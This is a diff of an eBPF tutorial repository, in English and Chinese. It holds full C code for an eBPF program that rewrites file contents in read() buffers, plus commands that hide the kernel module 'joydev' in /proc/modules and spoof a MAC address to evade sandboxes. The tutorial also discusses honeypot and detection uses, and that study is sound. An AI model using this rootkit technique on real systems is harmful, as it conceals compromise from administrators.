(pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int buff_addr = *pbuff_addr; + long unsigned int name_addr = 0; + if (buff_addr <= 0) { + return 0; + } + + // This is amount of data returned from the read syscall + if (ctx->ret <= 0) { + return 0; + } + long int buff_size = ctx->ret; + unsigned long int read_size = buff_size; + + bpf_printk("[TEXT_REPLACE] PID %d | read_size %lu | buff_addr 0x%lx\n", pid, read_size, buff_addr); + // 64 may be to large for loop + char local_buff[LOCAL_BUFF_SIZE] = { 0x00 }; + + if (read_size > (LOCAL_BUFF_SIZE+1)) { + // Need to loop :-( + read_size = LOCAL_BUFF_SIZE; + } + + // Read the data returned in chunks, and note every instance + // of the first character of our 'to find' text. + // This is all very convoluted, but is required to keep + // the program complexity and size low enough the pass the verifier checks + unsigned int tofind_counter = 0; + for (unsigned int i = 0; i < loop_size; i++) { + // Read in chunks from buffer + bpf_probe_read(&local_buff, read_size, (void*)buff_addr); + for (unsigned int j = 0; j < LOCAL_BUFF_SIZE; j++) { + // Look for the first char of our 'to find' text + if (local_buff[j] == text_find[0]) { + name_addr = buff_addr+j; + // This is possibly out text, add the address to the map to be + // checked by program 'check_possible_addrs' + bpf_map_update_elem(&map_name_addrs, &tofind_counter, &name_addr, BPF_ANY); + tofind_counter++; + } + } + + buff_addr += LOCAL_BUFF_SIZE; + } + + // Tail-call into 'check_possible_addrs' to loop over possible addresses + bpf_printk("[TEXT_REPLACE] PID %d | tofind_counter %d \n", pid, tofind_counter); + + bpf_tail_call(ctx, &map_prog_array, PROG_01); + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int check_possible_addresses(struct trace_event_raw_sys_exit *ctx) { + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int newline_counter = 0; + unsigned int match_counter = 0; + + char name[text_len_max+1]; + unsigned int j = 0; + char old = 0; + const unsigned int name_len = text_len; + if (name_len < 0) { + return 0; + } + if (name_len > text_len_max) { + return 0; + } + // Go over every possibly location + // and check if it really does match our text + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + newline_counter = i; + pName_addr = bpf_map_lookup_elem(&map_name_addrs, &newline_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + bpf_probe_read_user(&name, text_len_max, (char*)name_addr); + // for (j = 0; j < text_len_max; j++) { + // if (name[j] != text_find[j]) { + // break; + // } + // } + // we can use bpf_strncmp here, + // but it's not available in the kernel version older than 5.17 + if (bpf_strncmp(name, text_len_max, (const char *)text_find) == 0) { + // *********** + // We've found out text! + // Add location to map to be overwritten + // *********** + bpf_map_update_elem(&map_to_replace_addrs, &match_counter, &name_addr, BPF_ANY); + match_counter++; + } + bpf_map_delete_elem(&map_name_addrs, &newline_counter); + } + + // If we found at least one match, jump into program to overwrite text + if (match_counter > 0) { + bpf_tail_call(ctx, &map_prog_array, PROG_02); + } + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int overwrite_addresses(struct trace_event_raw_sys_exit *ctx) { + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int match_counter = 0; + + // Loop over every address to replace text into + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + match_counter = i; + pName_addr = bpf_map_lookup_elem(&map_to_replace_addrs, &match_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + + // Attempt to overwrite data with out replace string (minus the end null bytes) + long ret = bpf_probe_write_user((void*)name_addr, (void*)text_replace, text_len); + // Send event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + bpf_printk("[TEXT_REPLACE] PID %d | [*] replaced: %s\n", pid, text_find); + + // Clean up map now we're done + bpf_map_delete_elem(&map_to_replace_addrs, &match_counter); + } + + return 0; +} ``` -这个程序将文件中所有与 `input` 匹配的文本替换为 `replace` 文本。 -这有很多用途,例如: +The program starts with the familiar pattern of tracking file opens. When a process opens our target file (specified via the `filename` constant), we record its file descriptor in `map_fds`. This lets us identify reads from that specific file later. + +The interesting part begins in `handle_read_enter`, where we capture the buffer address that userspace passed to the `read()` system call. This address is where the kernel will write the file contents, and crucially, it's also where we can modify them before the userspace process looks at the data. + +The main logic lives in `find_possible_addrs`, attached to `sys_exit_read`. After the kernel completes the read operation, we scan through the buffer looking for potential matches. The constraint here is that we can't do unbounded loops—the verifier would reject that. So we read in chunks of `LOCAL_BUFF_SIZE` bytes and scan for the first character of our search string. Each potential match address goes into `map_name_addrs`. + +Once we've scanned the buffer, we use a tail call to jump into `check_possible_addresses`. This program iterates through the potential matches and performs full string comparison using `bpf_strncmp` (available in kernel 5.17+). Confirmed matches move to `map_to_replace_addrs`. If we found any matches, we tail-call once more into `overwrite_addresses`. + +The final stage, `overwrite_addresses`, performs the actual modification using `bpf_probe_write_user`. It loops through confirmed match locations and overwrites each one with the replacement text. The requirement that both strings have the same length prevents buffer corruption—we're doing in-place replacement without shifting any memory. + +## Tail Calls and Verifier Constraints + +The use of tail calls (`bpf_tail_call`) is critical here. eBPF programs face strict complexity limits—the verifier analyzes every possible execution path to ensure the program terminates and doesn't access invalid memory. A single program that does scanning, matching, and replacement would exceed these limits. + +Tail calls provide a way to chain programs while bypassing the cumulative instruction count. When `find_possible_addrs` calls `bpf_tail_call(ctx, &map_prog_array, PROG_01)`, it's essentially jumping to a different program (`check_possible_addresses`) with the same context. The current program's execution ends, and the new program starts with a fresh instruction count budget. + +The userspace loader must populate `map_prog_array` with file descriptors for the tail-called programs before attaching anything. This is done in the userspace code using `bpf_map_update_elem`, mapping index `PROG_01` to the `check_possible_addresses` program and `PROG_02` to `overwrite_addresses`. + +This architecture demonstrates a key eBPF development pattern: when you hit verifier limits, split your logic into multiple programs and use tail calls to coordinate them. -隐藏内核模块 `joydev`,避免被如 `lsmod` 这样的工具发现: +## Practical Examples and Security Implications + +Let's look at real-world use cases. Hiding kernel modules from detection: ```bash ./replace -f /proc/modules -i 'joydev' -r 'cryptd' ``` -伪造 `eth0` 接口的 MAC 地址: +When any process reads `/proc/modules`, they'll see `cryptd` where `joydev` actually appears. The module is still loaded and functioning, but tools like `lsmod` can't see it. This is a classic rootkit technique. + +Spoofing MAC addresses for anti-sandbox evasion: ```bash ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' ``` -恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象。 +Malware often checks for virtualization by looking at MAC address prefixes (0x00:15:5d indicates Hyper-V). By replacing the actual MAC address with zeros, the malware's virtualization detection fails, making sandbox analysis easier. + +The defensive flip side is using this for honeypot systems. You can present fake credentials in configuration files, or make malware believe it successfully compromised a system when it hasn't. The file content on disk remains secure, but attackers reading it see false information. + +## Compilation and Execution + +Compile the program: + +```bash +cd src/27-replace +make +``` + +Run with specified file and text replacement: + +```bash +sudo ./replace --filename /path/to/file --input foo --replace bar +``` + +Both `input` and `replace` must be the same length to avoid buffer corruption. To include newlines in bash, use `$'\n'`: + +```bash +./replace -f /proc/modules -i 'joydev' -r $'aaaa\n' +``` + +The program intercepts all reads of the specified file and replaces matching text transparently. Press Ctrl-C to stop. + +## Summary + +This tutorial demonstrated how eBPF programs can intercept file read operations and modify data before userspace sees it, without altering the actual file. We explored the three-stage architecture using tail calls to work within verifier constraints, the use of `bpf_probe_write_user` for memory manipulation, and practical applications ranging from rootkit techniques to defensive honeypot deployment. Understanding these patterns is crucial for both offensive security research and building detection mechanisms that account for eBPF-based attacks. -**注意:** `input` 和 `replace` 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 `$'\n'`,例如 `--replace $'text\n'`。 +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . -## 参考资料 +## References -- +- Original bad-bpf project: +- eBPF tail calls documentation: +- BPF verifier and program complexity: diff --git a/src/27-replace/README.zh.md b/src/27-replace/README.zh.md new file mode 100644 index 00000000..cfbae577 --- /dev/null +++ b/src/27-replace/README.zh.md @@ -0,0 +1,438 @@ +# eBPF 教程: 替换任意程序读取或者写入的文本 + +当你在 Linux 中读取文件时,你相信所看到的内容与磁盘上存储的内容一致。但如果内核本身在对你撒谎呢?本教程演示了 eBPF 程序如何拦截文件读取操作并在应用程序看到文本之前悄悄替换文本——为防御性安全监控和攻击性 rootkit 技术创造了强大的能力。 + +与在时间戳和审计日志中留下痕迹的传统文件修改不同,这种方法在读取系统调用期间动态操纵数据。磁盘上的文件保持不变,但读取它的每个程序都看到修改后的内容。这种技术在安全研究、蜜罐部署和反恶意软件欺骗中具有合法用途,但也揭示了 rootkit 如何向系统管理员隐藏其存在。 + +> 完整源代码: + +## 用例:从安全到欺骗 + +文件读取中的文本替换在安全领域的各个方面都有多种用途。对于防御者来说,它可以实现向攻击者呈现虚假凭据的蜜罐系统,或者使恶意软件相信它成功了但实际上没有的欺骗层。安全研究人员使用它通过向可疑进程提供受控数据来研究恶意软件行为。 + +在攻击方面,rootkit 使用这种确切的技术来隐藏其存在。经典的例子是通过用空格或其他模块名称替换它们在 `/proc/modules` 中的名称来隐藏内核模块,使其不被 `lsmod` 发现。恶意软件可以通过修改从 `/sys/class/net/*/address` 读取的内容来伪造 MAC 地址,击败寻找虚拟机标识符的沙箱检测。 + +关键洞察是这在系统调用边界上操作——在内核读取文件之后但在用户空间进程看到数据之前。无论你多少次 `cat` 文件或在不同的编辑器中打开它,你总是会看到修改后的版本,因为 eBPF 程序拦截了每个读取操作。 + +## 架构:多阶段文本扫描和替换 + +此实现比简单的字符串替换更复杂。挑战在于在 eBPF 的约束内工作:有限的栈大小、没有无界循环和严格的验证器检查。为了处理任意大的文件和多个匹配,程序使用三阶段方法,使用尾调用将 eBPF 程序链接在一起。 + +第一阶段(`find_possible_addrs`)扫描读取缓冲区,寻找与我们搜索字符串的第一个字符匹配的字符。由于复杂性限制,它还不能进行完整的字符串匹配,所以它只是标记潜在位置。这些地址存储在 `map_name_addrs` 中供下一阶段使用。 + +第二阶段(`check_possible_addresses`)从第一阶段尾调用。它检查每个潜在匹配位置,并使用 `bpf_strncmp` 进行完整字符串比较。这验证了我们是否真的找到了目标文本。确认的匹配进入 `map_to_replace_addrs`。 + +第三阶段(`overwrite_addresses`)循环遍历确认的匹配位置,并使用 `bpf_probe_write_user` 用替换字符串覆盖文本。因为两个字符串必须具有相同的长度(以避免移动内存和损坏缓冲区),用户必须填充其替换文本以匹配。 + +此流水线通过将工作拆分到多个程序中来处理验证器的复杂性限制,每个程序都保持在指令计数阈值之下。尾调用提供了粘合剂,允许一个程序将控制传递给具有相同上下文的下一个程序。 + +## 实现细节 + +让我们检查实现此三阶段流水线的完整 eBPF 代码: + +```c +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "replace.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// 环形缓冲区映射,用于从内核向用户传递消息 +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// 保存来自 'openat' 调用的文件描述符的映射 +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, unsigned int); +} map_fds SEC(".maps"); + +// 保存来自 'read' 调用的缓冲区地址的映射 +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buff_addrs SEC(".maps"); + +// 保存可能匹配地址的映射 +// 注意:这应该是 map-of-maps,顶层键为 pid_tgid,这样我们知道正在查看正确的程序 +#define MAX_POSSIBLE_ADDRS 500 +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_name_addrs SEC(".maps"); +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_to_replace_addrs SEC(".maps"); + +// 保存用于尾调用的程序的映射 +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 5); + __type(key, __u32); + __type(value, __u32); +} map_prog_array SEC(".maps"); + +// 可选的目标父进程 PID +const volatile int target_ppid = 0; + +// 这些存储要替换文本的文件名 +const volatile int filename_len = 0; +const volatile char filename[50]; + +// 这些存储要在文件中查找和替换的文本 +const volatile unsigned int text_len = 0; +const volatile char text_find[FILENAME_LEN_MAX]; +const volatile char text_replace[FILENAME_LEN_MAX]; + +SEC("tp/syscalls/sys_exit_close") +int handle_close_exit(struct trace_event_raw_sys_exit *ctx) +{ + // 检查我们是否是感兴趣的进程线程 + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + + // 关闭文件,从所有映射中删除 fd 以清理 + bpf_map_delete_elem(&map_fds, &pid_tgid); + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); + + return 0; +} + +SEC("tp/syscalls/sys_enter_openat") +int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + // 检查我们是否是感兴趣的进程线程 + // 如果 target_ppid 为 0,则我们针对所有 pid + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // 从参数获取文件名 + char check_filename[FILENAME_LEN_MAX]; + bpf_probe_read_user(&check_filename, filename_len, (char*)ctx->args[1]); + + // 检查文件名是否为我们的目标 + for (int i = 0; i < filename_len; i++) { + if (filename[i] != check_filename[i]) { + return 0; + } + } + + // 为 sys_exit 调用将 pid_tgid 添加到映射 + unsigned int zero = 0; + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); + + bpf_printk("[TEXT_REPLACE] PID %d Filename %s\n", pid, filename); + return 0; +} + +SEC("tp/syscalls/sys_exit_openat") +int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) +{ + // 检查此 open 调用是否正在打开我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + int pid = pid_tgid >> 32; + + // 将映射值设置为返回的文件描述符 + unsigned int fd = (unsigned int)ctx->ret; + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_enter_read") +int handle_read_enter(struct trace_event_raw_sys_enter *ctx) +{ + // 检查此 open 调用是否正在打开我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (pfd == 0) { + return 0; + } + + // 检查这是否是正确的文件描述符 + unsigned int map_fd = *pfd; + unsigned int fd = (unsigned int)ctx->args[0]; + if (map_fd != fd) { + return 0; + } + + // 从参数中存储缓冲区地址到映射 + long unsigned int buff_addr = ctx->args[1]; + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); + + // 记录并退出 + size_t buff_size = (size_t)ctx->args[2]; + bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_addr 0x%lx\n", pid, fd, buff_addr); + bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_size %lu\n", pid, fd, buff_size); + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int find_possible_addrs(struct trace_event_raw_sys_exit *ctx) +{ + // 检查此 open 调用是否正在读取我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int buff_addr = *pbuff_addr; + long unsigned int name_addr = 0; + if (buff_addr <= 0) { + return 0; + } + + // 这是从 read 系统调用返回的数据量 + if (ctx->ret <= 0) { + return 0; + } + long int buff_size = ctx->ret; + unsigned long int read_size = buff_size; + + bpf_printk("[TEXT_REPLACE] PID %d | read_size %lu | buff_addr 0x%lx\n", pid, read_size, buff_addr); + // 64 可能对循环来说太大了 + char local_buff[LOCAL_BUFF_SIZE] = { 0x00 }; + + if (read_size > (LOCAL_BUFF_SIZE+1)) { + // 需要循环 :-( + read_size = LOCAL_BUFF_SIZE; + } + + // 以块的方式读取返回的数据,并记录我们要查找的文本的 + // 第一个字符的每个实例。 + // 这一切都非常复杂,但需要保持程序复杂性和大小 + // 足够低以通过验证器检查 + unsigned int tofind_counter = 0; + for (unsigned int i = 0; i < loop_size; i++) { + // 从缓冲区以块的方式读取 + bpf_probe_read(&local_buff, read_size, (void*)buff_addr); + for (unsigned int j = 0; j < LOCAL_BUFF_SIZE; j++) { + // 查找我们要查找的文本的第一个字符 + if (local_buff[j] == text_find[0]) { + name_addr = buff_addr+j; + // 这可能是我们的文本,将地址添加到映射 + // 以便由程序 'check_possible_addrs' 检查 + bpf_map_update_elem(&map_name_addrs, &tofind_counter, &name_addr, BPF_ANY); + tofind_counter++; + } + } + + buff_addr += LOCAL_BUFF_SIZE; + } + + // 尾调用到 'check_possible_addrs' 以循环遍历可能的地址 + bpf_printk("[TEXT_REPLACE] PID %d | tofind_counter %d \n", pid, tofind_counter); + + bpf_tail_call(ctx, &map_prog_array, PROG_01); + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int check_possible_addresses(struct trace_event_raw_sys_exit *ctx) { + // 检查此 open 调用是否正在打开我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int newline_counter = 0; + unsigned int match_counter = 0; + + char name[text_len_max+1]; + unsigned int j = 0; + char old = 0; + const unsigned int name_len = text_len; + if (name_len < 0) { + return 0; + } + if (name_len > text_len_max) { + return 0; + } + // 遍历每个可能的位置 + // 并检查它是否真的匹配我们的文本 + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + newline_counter = i; + pName_addr = bpf_map_lookup_elem(&map_name_addrs, &newline_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + bpf_probe_read_user(&name, text_len_max, (char*)name_addr); + // 我们可以在这里使用 bpf_strncmp, + // 但它在 5.17 之前的内核版本中不可用 + if (bpf_strncmp(name, text_len_max, (const char *)text_find) == 0) { + // *********** + // 我们找到了我们的文本! + // 将位置添加到映射以覆盖 + // *********** + bpf_map_update_elem(&map_to_replace_addrs, &match_counter, &name_addr, BPF_ANY); + match_counter++; + } + bpf_map_delete_elem(&map_name_addrs, &newline_counter); + } + + // 如果我们至少找到一个匹配,跳转到程序覆盖文本 + if (match_counter > 0) { + bpf_tail_call(ctx, &map_prog_array, PROG_02); + } + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int overwrite_addresses(struct trace_event_raw_sys_exit *ctx) { + // 检查此 open 调用是否正在打开我们的目标文件 + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int match_counter = 0; + + // 循环遍历每个要替换文本的地址 + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + match_counter = i; + pName_addr = bpf_map_lookup_elem(&map_to_replace_addrs, &match_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + + // 尝试用我们的替换字符串覆盖数据(减去结束的空字节) + long ret = bpf_probe_write_user((void*)name_addr, (void*)text_replace, text_len); + // 发送事件 + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + bpf_printk("[TEXT_REPLACE] PID %d | [*] replaced: %s\n", pid, text_find); + + // 完成后清理映射 + bpf_map_delete_elem(&map_to_replace_addrs, &match_counter); + } + + return 0; +} +``` + +程序从跟踪文件打开的熟悉模式开始。当进程打开我们的目标文件(通过 `filename` 常量指定)时,我们在 `map_fds` 中记录其文件描述符。这让我们稍后识别来自该特定文件的读取。 + +有趣的部分从 `handle_read_enter` 开始,我们捕获用户空间传递给 `read()` 系统调用的缓冲区地址。这个地址是内核将写入文件内容的地方,至关重要的是,它也是我们可以在用户空间进程查看数据之前修改它们的地方。 + +主要逻辑位于 `find_possible_addrs` 中,附加到 `sys_exit_read`。在内核完成读取操作后,我们扫描缓冲区寻找潜在匹配。这里的约束是我们不能做无界循环——验证器会拒绝它。所以我们以 `LOCAL_BUFF_SIZE` 字节的块读取并扫描搜索字符串的第一个字符。每个潜在匹配地址进入 `map_name_addrs`。 + +一旦我们扫描了缓冲区,我们使用尾调用跳转到 `check_possible_addresses`。此程序遍历潜在匹配并使用 `bpf_strncmp`(在内核 5.17+ 中可用)进行完整字符串比较。确认的匹配移动到 `map_to_replace_addrs`。如果我们找到任何匹配,我们再次尾调用到 `overwrite_addresses`。 + +最后阶段 `overwrite_addresses` 使用 `bpf_probe_write_user` 执行实际修改。它循环遍历确认的匹配位置并用替换文本覆盖每一个。两个字符串具有相同长度的要求防止了缓冲区损坏——我们在不移动任何内存的情况下进行就地替换。 + +## 尾调用和验证器约束 + +尾调用(`bpf_tail_call`)的使用在这里至关重要。eBPF 程序面临严格的复杂性限制——验证器分析每个可能的执行路径以确保程序终止且不访问无效内存。执行扫描、匹配和替换的单个程序将超过这些限制。 + +尾调用提供了一种在绕过累积指令计数的同时链接程序的方法。当 `find_possible_addrs` 调用 `bpf_tail_call(ctx, &map_prog_array, PROG_01)` 时,它实质上是跳转到具有相同上下文的不同程序(`check_possible_addresses`)。当前程序的执行结束,新程序以新的指令计数预算开始。 + +用户空间加载器必须在附加任何东西之前使用尾调用程序的文件描述符填充 `map_prog_array`。这是在用户空间代码中使用 `bpf_map_update_elem` 完成的,将索引 `PROG_01` 映射到 `check_possible_addresses` 程序,将 `PROG_02` 映射到 `overwrite_addresses`。 + +这种架构展示了一个关键的 eBPF 开发模式:当你遇到验证器限制时,将逻辑拆分为多个程序并使用尾调用来协调它们。 + +## 实际示例和安全影响 + +让我们看看现实世界的用例。隐藏内核模块以避免检测: + +```bash +./replace -f /proc/modules -i 'joydev' -r 'cryptd' +``` + +当任何进程读取 `/proc/modules` 时,他们会在 `joydev` 实际出现的地方看到 `cryptd`。模块仍然加载并运行,但像 `lsmod` 这样的工具无法看到它。这是一种经典的 rootkit 技术。 + +伪造 MAC 地址以进行反沙箱规避: + +```bash +./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' +``` + +恶意软件经常通过查看 MAC 地址前缀(0x00:15:5d 表示 Hyper-V)来检查虚拟化。通过用零替换实际的 MAC 地址,恶意软件的虚拟化检测失败,使沙箱分析更容易。 + +防御翻转是将其用于蜜罐系统。你可以在配置文件中呈现虚假凭据,或使恶意软件相信它成功破坏了系统但实际上没有。磁盘上的文件内容保持安全,但读取它的攻击者看到虚假信息。 + +## 编译和执行 + +编译程序: + +```bash +cd src/27-replace +make +``` + +使用指定的文件和文本替换运行: + +```bash +sudo ./replace --filename /path/to/file --input foo --replace bar +``` + +`input` 和 `replace` 必须具有相同的长度以避免缓冲区损坏。要在 bash 中包含换行符,使用 `$'\n'`: + +```bash +./replace -f /proc/modules -i 'joydev' -r $'aaaa\n' +``` + +程序透明地拦截指定文件的所有读取并替换匹配的文本。按 Ctrl-C 停止。 + +## 总结 + +本教程演示了 eBPF 程序如何拦截文件读取操作并在用户空间看到数据之前修改数据,而不改变实际文件。我们探索了使用尾调用在验证器约束内工作的三阶段架构,使用 `bpf_probe_write_user` 进行内存操纵,以及从 rootkit 技术到防御性蜜罐部署的实际应用。理解这些模式对于攻击性安全研究和构建考虑基于 eBPF 的攻击的检测机制都至关重要。 + +> 如果你想深入了解 eBPF,请查看我们的教程代码仓库 或访问我们的网站 。 + +## 参考资料 + +- 原始 bad-bpf 项目: +- eBPF 尾调用文档: +- `bpf_probe_write_user` 安全考虑: +- BPF 验证器和程序复杂性: diff --git a/src/27-replace/README_en.md b/src/27-replace/README_en.md deleted file mode 100644 index 516e8409..00000000 --- a/src/27-replace/README_en.md +++ /dev/null @@ -1,38 +0,0 @@ -# Replace Text Read or Written by Any Program with eBPF - -See for the full source code. - -Compile: - -```bash -make -``` - -Usage: - -```sh -sudo ./replace --filename /path/to/file --input foo --replace bar -``` - -This program will replace all text in the file that matches 'input' with 'replace' text. -There are many use cases for this, such as: - -Hiding the kernel module 'joydev' to avoid detection by tools like 'lsmod': - -```bash -./replace -f /proc/modules -i 'joydev' -r 'cryptd' -``` - -Spoofing the MAC address of the 'eth0' interface: - -```bash -./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' -``` - -Malware performing anti-sandbox checks may look for MAC addresses as an indication of whether it is running in a virtual machine or sandbox, rather than on a "real" machine. - -**Note:** The lengths of 'input' and 'replace' must be the same to avoid introducing NULL characters in the middle of the text block. To input a newline character at a bash prompt, use `$'\n'`, for example `--replace $'text\n'`. - -## References - -- . \ No newline at end of file diff --git a/src/28-detach/.config b/src/28-detach/.config new file mode 100644 index 00000000..b3a374b4 --- /dev/null +++ b/src/28-detach/.config @@ -0,0 +1,2 @@ +level=Depth +type=Security diff --git a/src/28-detach/README.md b/src/28-detach/README.md index a3c21570..897afd95 100644 --- a/src/28-detach/README.md +++ b/src/28-detach/README.md @@ -1,46 +1,53 @@ -# 在应用程序退出后运行 eBPF 程序:eBPF 程序的生命周期 +# Running eBPF After Application Exits: The Lifecycle of eBPF Programs -eBPF(Extended Berkeley Packet Filter)是 Linux 内核中的一项重大技术创新,允许用户在内核空间中执行自定义程序,而无需修改内核源代码或加载任何内核模块。这为开发人员提供了极大的灵活性,可以观察、修改和控制 Linux 系统。 +eBPF (Extended Berkeley Packet Filter) is a revolutionary technology in the Linux kernel that allows users to execute custom programs in kernel space without modifying the kernel source code or loading any kernel modules. This provides developers with great flexibility to observe, modify, and control the Linux system. -本文将介绍 eBPF 程序的生命周期,以及如何在用户空间应用程序退出后继续运行 eBPF 程序的方法,还将介绍如何使用 "pin" 在不同进程之间共享 eBPF 对象。本文是 eBPF 开发者教程的一部分,更多详细信息可以在 中找到。 +This article introduces the Lifecycle of eBPF Programs, how to run eBPF programs after user-space application exits, and how to use pin to share eBPF objects between processes. This article is part of the eBPF Developer Tutorial, more details can be found in and -通过使用 "detach" 方法来运行 eBPF 程序,用户空间加载程序可以在不停止 eBPF 程序的情况下退出。另外,使用 "pin" 的方法可以在进程之间共享 eBPF 对象,使其保持活动状态。 +> The complete source code: -## eBPF 程序的生命周期 +By using the detach method to run eBPF programs, the user space loader can exit without stopping the eBPF program. Another common use case for pinning is sharing eBPF objects between processes. For example, one could create a Map from Go, pin it, and inspect it using `bpftool map dump pinned /sys/fs/bpf/my_map`. -BPF对象(包括程序、映射和调试信息)通过文件描述符(FD)进行访问,并具有引用计数器。每个对象都有一个引用计数器,用于追踪对象被引用的次数。例如,当创建一个映射时,内核会分配一个struct bpf_map对象,并将其引用计数器初始化为1。然后,将映射的文件描述符返回给用户空间进程。如果进程退出或崩溃,文件描述符将被关闭,并且映射的引用计数将减少。当引用计数为零时,内存将被释放。 +## The Lifecycle of eBPF Programs -BPF程序使用 maps 有两个阶段。首先,创建 maps 并将其文件描述符存储为BPF_LD_IMM64指令的一部分。当内核验证程序时,它会增加程序使用的 maps 的引用计数,并将程序的引用计数初始化为1。此时,用户空间可以关闭与maps 相关的文件描述符,但 maps 不会被销毁,因为程序仍然在使用它们。当程序文件描述符关闭且引用计数为零时,销毁逻辑将减少 maps 的引用计数。这允许多个不同类型的程序同时使用同一个 maps。 +File descriptors and reference counters are used to manage BPF objects (progs, maps, and debug info). When a map is created, the kernel initializes its reference counter to 1 and returns a file descriptor to the user space process. If the process exits or crashes, the file descriptor is closed and the reference counter of the map is decremented. After the RCU grace period, the map is freed from memory. -当程序附加到一个挂钩时,程序的引用计数增加。用户空间进程创建 maps 和程序,然后加载程序并将其附加到挂钩上后,就可以退出了。此时,由用户空间创建的 maps 和程序将保持活动状态,因为引用计数>0。这就是BPF对象的生命周期。只要BPF对象的引用计数>0,内核将保持其活动状态。 +BPF programs that use BPF maps are loaded in two phases. The maps are created and their file descriptors are stored in the program's 'imm' field. The kernel increments the reference counters of the maps used by the program and initializes the program's 